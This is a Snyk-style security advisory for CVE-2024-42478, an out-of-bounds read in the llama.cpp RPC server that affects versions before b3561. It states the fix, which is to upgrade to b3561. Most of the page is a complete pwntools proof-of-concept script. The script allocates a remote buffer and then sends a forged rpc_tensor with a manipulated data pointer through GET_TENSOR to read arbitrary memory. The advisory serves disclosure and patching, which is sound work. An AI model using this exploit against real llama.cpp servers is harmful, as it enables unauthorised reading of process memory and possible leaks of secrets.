Out-of-bounds Read Affecting ggerganov/llama.cpp package, versions [,b3561)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (39th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-UNMANAGED-GGERGANOVLLAMACPP-7676290
- published 13 Aug 2024
- disclosed 12 Aug 2024
- credit 7resp4ss
Introduced: 12 Aug 2024
CVE-2024-42478 Open this link in a new tabHow to fix?
Upgrade ggerganov/llama.cpp
to version b3561 or higher.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read through the rpc_tensor
structure. An attacker can read arbitrary memory addresses by manipulating the data
pointer.
PoC
from pwn import *
ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10
context(arch='amd64',log_level = 'debug')
base_memory = 0x0
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_DEVICE_MEMORY)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
p.close()
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_ALIGNMENT)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
remote_ptr = u64(recv[0x18:0x20])
sz = u64(recv[0x20:0x28])
log.success(f"remote_ptr:{hex(remote_ptr)},size:{sz}")
p.recvall(timeout=1)
p.close()
'''
When the vulnerability cannot be triggered, you might want to adjust the next_ptr variable in the script to the buffer address returned by ALLOC_BUFFER.
'''
next_ptr = remote_ptr + 0x160
log.success(f'next_ptr:{hex(next_ptr)}')
p = remote("127.0.0.1",50052)
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd = cmd + input_size + content
rpc_tensor_pd = flat(
{
0: [
0x1, # id
p32(2), # type
p64(next_ptr), # buffer
[ # ne
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
],
[ # nb
p32(1),
p32(1),
p32(1),
p32(1),
],
p32(0), # op
[p32(0)] * 16, # op_params (corrected from 8 to 16)
p32(0), # flags
[p64(0)] * 10, # src
p64(0), # view_src
p64(0), # view_offs
p64(0xdeadbeef), # data
'a' * 64, # name
'x' * 4 # padding
],
}
)
cmd = p8(GET_TENSOR)
content = flat(
{
0: rpc_tensor_pd + p64(0) + p64(0x100)
}
)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
p.recv(0x18)
p.close()